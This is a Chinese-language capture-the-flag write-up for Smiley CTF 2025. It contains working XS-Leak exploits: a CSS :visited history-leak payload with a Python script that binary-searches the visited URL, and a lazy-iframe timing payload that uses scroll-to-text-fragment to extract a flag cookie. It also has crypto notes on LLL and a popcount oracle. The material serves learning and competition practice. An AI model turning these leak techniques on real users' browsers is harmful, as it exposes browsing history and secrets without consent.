Smiley CTF 2025 Note

Before all

這場沒打到很多,執著在一題上了,來補下 XD
最近不是懶惰沒更新,是在準備 CPTS 和一堆瑣事

Web

Teemo’s Secret

一開始會給一千把密碼,其中一把密碼可以解鎖 FLAG 但 one shot
Admin Bot 會先用 firefox 開啟 http://server/密碼 的路徑才造訪你的網站,最後把最左上角的一個像素給 return 回來。
server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from flask import Flask, request, make_response, redirect
import base64, sys, secrets
from urllib.parse import urlparse
from PIL import Image

from selenium import webdriver
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.action_chains import ActionChains

from threading import Lock
bot_lock = Lock()


app = Flask(__name__)

PORT = 7382

flag = open('flag.txt').read().strip()
flags = [secrets.token_hex(16) for _ in range(1000)]
flag_access = secrets.choice(flags)

gamble_chance = 3

@app.after_request
def add_header(response):
response.headers['Referrer-Policy'] = 'no-referrer'
return response

@app.route('/')
def list_flags():
response = ''
for i in flags:
response += f'<a href="/{i}">{i}</a><br>'
return make_response(response, 200)

@app.route('/gamble', methods=['GET'])
def gamble():
global gamble_chance
if gamble_chance <= 0:
return 'No more chances left', 403
access = request.args.get('flag')
if access:
gamble_chance -= 1
if request.args.get('flag') == flag_access:
gamble_chance = 3
return f'You won! Your flag is: {flag}.', 200
return 'You lost! Try again.', 403

@app.route('/<path:data>', methods=['GET'])
def index(data):
response = secrets.token_hex(16)
return make_response(response, 200)


@app.route('/bot', methods=['GET'])
def bot():
if not bot_lock.acquire(blocking=False):
return 'please wait admin bot to finish running', 429
try:
data = request.args.get('address', 'http://example.com/').encode('utf-8')
data = base64.b64decode(data).decode('utf-8')

url = urlparse(data)

if url.scheme not in ['http', 'https']:
return 'Invalid URL scheme', 400

url = data.strip()
print('[+] Visiting ' + url, file=sys.stderr)

firefox_options = Options()
firefox_options.add_argument("--headless")
firefox_options.add_argument("--no-sandbox")

driver = webdriver.Firefox(options=firefox_options)

driver.get('http://127.0.0.1:7382/')
driver.implicitly_wait(3)
driver.get('http://127.0.0.1:7382/'+flag_access)
driver.implicitly_wait(3)

driver.switch_to.new_window('tab')
driver.switch_to.window(driver.window_handles[0])

print('[-] Visiting URL', url, file=sys.stderr)
driver.get(url)

wait = WebDriverWait(driver, 10)
try:
wait.until(lambda d: 'loaded' in d.title.lower())
except Exception as e:
print('[-] Error waiting for page to load:', e, file=sys.stderr)

driver.get(url)
driver.save_screenshot('screenshot.png')
driver.quit()
print('[-] Done visiting URL', url, file=sys.stderr)

image = Image.open('screenshot.png')
# opps I fucked it up
screenshot_data = image.crop((0, 0, 1, 1)).tobytes()
response = make_response(screenshot_data, 200)
response.headers['Content-Type'] = 'image/png'
return response
finally:
bot_lock.release()


if __name__ == '__main__':
app.run(port=PORT, debug=False, host='0.0.0.0')

蠻典型的 :visited trick,平常造訪過的連結都會變色,透過魔改 CSS 來 leak 造訪紀錄,最近 chrome 才剛說要廢除的東西 :rofl:
https://developer.chrome.com/blog/visited-links?hl=zh-tw
XSLeak WIKI: https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history
可愛的 Whack A Mole,反正只要透過修改 CSS 中的 mix-blend-mode 屬性,就可以透過疊加出來的顏色判斷是否受點擊,我直接選用原作中的 multiply 屬性修改,並用 CSS 給他調到左上角變大正方形。(注意,一定要先設定好原始的 a tag 屬性才可以改 visted)
最後因為一千把鑰匙太多了,我用二分搜的方法篩。

payload.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html>
<head>
<title>meow</title>
<meta charset="utf-8">
<style>
a {
position: fixed;
top: 0;
left: 0;
width: 100px;
height: 100px;
display: block;
background: white;
mix-blend-mode: multiply;
}
a:visited {
background: red;
}

</style>
</head>
<body>
<h1>WAITREPLACEHEHE</h1>
<script>
window.addEventListener('load', function () {
setTimeout(function () {
document.title = 'loaded';
}, 3000);
});
</script>
</body>
</html>

exp.py

1
python3 exp.py <instance url>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from bs4 import BeautifulSoup
import requests as req
import sys
import os

target_url = sys.argv[1]
os.system(f"wget '{target_url}' -O origin.html")

with open('origin.html', 'r', encoding='utf-8') as f:
html = f.read()

soup = BeautifulSoup(html, 'html.parser')

urls = []
for a_tag in soup.find_all('a', href=True):
urls.append(a_tag['href'])

with open('payload.html', 'r', encoding='utf-8') as f:
origin_payload = f.read()

def gen_file(num_range):
payload = ''
for i in num_range:
payload += f"<a href='http://127.0.0.1:7382{urls[i]}'></a>"
payload = origin_payload.replace('WAITREPLACEHEHE', payload)
# print(payload)
f = open('exp.html', 'w')
f.write(payload)
f.close()

# aHR0cDovLzE3Mi4xNy4wLjEvZXhwLmh0bWwK
'''
>>> web = req.get('http://172.17.0.2:7382/bot?address=aHR0cDovLzE3Mi4xNy4wLjEvZXhwLmh0bWwK')
>>> web.text
'\x00\x00\x00ÿ'
>>> web.text.encode().hex() # hit
'000000c3bf'
'''

def test():
web = req.get(f'{target_url}/bot?address=aHR0cDovLzQ1Ljc3LjIwLjI1NTo2MDU0L2V4cC5odG1sCg==')
print(web.text.encode().hex())
return web.text.encode().hex() == 'c3bf0000c3bf'

# gen_file(range(0, 1))
gen_file(range(0, 500))
test()
gen_file(range(500, 1000))
test()


l = -1
r = 999
while l+1<r:
mid = (l+r)//2
gen_file(range(l+1, mid+1))
if test():
r = mid
else:
l = mid
print(l, r, urls[r])

web = req.get(target_url+'/gamble?flag='+urls[r][1:])
print(web.text)

image

Leaf

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from flask import Flask, request, make_response, render_template_string, redirect
import os, base64, sys

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
app = Flask(__name__)

PORT = 8800

# flag start with d0nt, charset is string.ascii_letters + string.digits + '{}_.-'
flag = open('flag.txt').read().strip()
print(flag.replace(".;,;.{", "").replace("}", ""))

template = """<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Pure Leaf</title>
<style nonce="{{ nonce }}">
body {
background-color: #21d375;
font-size: 100px;
color: #fff;

height: 100vh;
margin: 0;

text-align: center;
justify-content: center;
align-items: center;
}
</style>
</head>
<body>
<div class="head"></div>
{% if flag %}
<div class="leaf">{{ flag }}</div>
{% endif %}
{% if leaves %}
<div class="leaf">{{ leaves | safe}}</div>
{% else %}
<div class="leaf">I love leaves</div>
{% endif %}

<script nonce="{{ nonce }}">
Array.from(document.getElementsByClassName('leaf')).forEach(function(element) {
let text = element.innerText;
element.innerHTML = '';
// our newest technology prevents you from copying the text
// so we have to create a new element for each character
// and append it to the element
// this is a very bad idea, but it works
// and we are not using innerHTML, so we are safe from XSS
for (let i = 0; i < text.length; i++) {
let charElem = document.createElement('span');
charElem.innerText = text[i];
element.appendChild(charElem);
}
});
</script>
</body>
</html>
"""

@app.route('/', methods=['GET'])
def index():
nonce = base64.b64encode(os.urandom(32)).decode('utf-8')

flag_cookie = request.cookies.get('flag', None)

leaves = request.args.get('leaf', 'Leaf')

rendered = render_template_string(
template,
nonce=nonce,
flag=flag_cookie,
leaves=leaves,
)

response = make_response(rendered)

response.headers['Content-Security-Policy'] = (
f"default-src 'none'; script-src 'nonce-{nonce}'; style-src 'nonce-{nonce}'; "
"base-uri 'none'; frame-ancestors 'none';"
)
response.headers['Referrer-Policy'] = 'no-referrer'
response.headers['X-Content-Type-Options'] = 'nosniff'

return response


@app.route('/bot', methods=['GET'])
def bot():
data = request.args.get('leaf', '🍃').encode('utf-8')
data = base64.b64decode(data).decode('utf-8')
url = f"http://127.0.0.1:8800/?leaf={data}"

print('[+] Visiting ' + url, file=sys.stderr)

options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
driver = webdriver.Chrome(options=options)
driver.get(f'http://127.0.0.1:8800/void')
driver.add_cookie({
'name': 'flag',
'value': flag.replace(".;,;.{", "").replace("}", ""),
'path': '/',
})

print('[-] Visiting URL', url, file=sys.stderr)

driver.get(url)
driver.implicitly_wait(5)
driver.quit()
print('[-] Done visiting URL', url, file=sys.stderr)

return redirect(f'http://127.0.0.1:8800/?leaf=Yayayayay I checked ur leaf its great', code=302)


if __name__ == '__main__':
app.run(port=PORT, debug=False, host='0.0.0.0')

一樣是XSLeak,但這我是真想不到 XD

兩個 features:

  1. STTF(Scroll To Text Fragment): #:~:text=whale 會自動鎖定並滑動到頁面第一次完整出現的位置
    譬如說

    1
    2
    3
    <h1>
    whale120
    </h1>

    不會被匹配到

    1
    2
    <h1><span>what/span><span>le</span></h1>
    <h1><a>wha</a><a>le</a></h1>

    這兩個都會被匹配到(先出現者優先,所以會 tag 到 span 那排)
    詳情和發展歷史:https://github.com/WICG/scroll-to-text-fragment

  2. lazy loading: 在需要資源時才引入,會大量拖慢速度

最後就可以構出這樣的 payload 進行 timing attack

1
payload = "</div>" + "<iframe loading=lazy src=/ width=1></iframe>"* 400 +"<br>" *60 + f"<div>{leaf}</div>#:~:text={leaf}"

賽後也有看到選手透過 <details> tag 在 STTF 觸發時可以展開 + 他算在 window.opener.length 的 feature 進行 xsleak :
原始網頁開啟一個 counter => meta 導向 payload 頁面(含 details tag) => counter 數 opener 內嵌長度

Crypto

QwQ 有點太忙沒空寫 exploit,先貼個之後補

LCGs are SBGs

一個在複數平面上的 Truncated LCG Problem
https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#lsb-msb-calculation-game
唯一的不同就是 LLL 矩陣構造,跟我今年在 thjcc 出的 lIne 變換方法其實很像 XD

$$
L=
\begin{pmatrix}
M & 0 & 0 & 0 & \cdots & 0 \
0 & M & 0 & 0 & \cdots & 0 \
a_{real} & -a_{imag} & -1 & 0 & \cdots & 0 \
a_{imag} & a_{real} & -1 & 0 & \cdots & 0 \
a^2_{real} & -a^2_{imag} & 0 & -1 & \cdots & 0 \
\vdots & \vdots & \vdots & \vdots & \ddots & \vdots \
a^{k-1}{imag} & a^{k-1}{real} & 0 & 0 & \cdots & -1 \
\end{pmatrix}
$$

其他參考:https://gist.github.com/maple3142/c7c31d2e5893d524e71eb5e12b0278f0

a special place in reality

chall.py
一個很有巧思的小題目 XD,挺可惜賽後才去看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/local/bin/python
from Crypto.Util.number import *
import math

FLAG = open('flag.txt').read()

while True:
if input("Yes? ") == "yes":
try:
x = int(input("Length: "))
if x <= len(FLAG) * 40:
p = getPrime(x)
elif x <= 10000: # no dos pls
p = 256
n = p*p

flag = FLAG + "a" * (1 + math.ceil(x/8))
flag = bytes_to_long(flag.encode())
flag = flag - flag % p

c = pow(flag, 65537, n)

print("p multiple length:", len(bin(flag//p)) - 2)
print("p multiple 1 bits:", bin(flag//p).count("1"))
print(c, 65537, n)

except:
print("invalid input")
else:
print("exiting...")
exit(0)

就…如程式碼
但很容易被誤導因為 c 從頭到尾都不用被使用
小觀察:

  1. 輸入的 x > 10000 時 p 的值換都不會換,等於可以取得多筆 FLAG+"a"*n % p 再除 p 的 popcount
  2. $n*p + y_1$ 帶入的 popcount 值與它 $n*p + y_2$ 的相減會等同 $y_1$, $y_2$ 帶入的結果(想像 p 進制下的操作)

最後可以利用相減的序列去進行 Oracle 猜解,比對出來一樣就可以取得 FLAG mod p 的值,最後取得多一點做 CRT 就好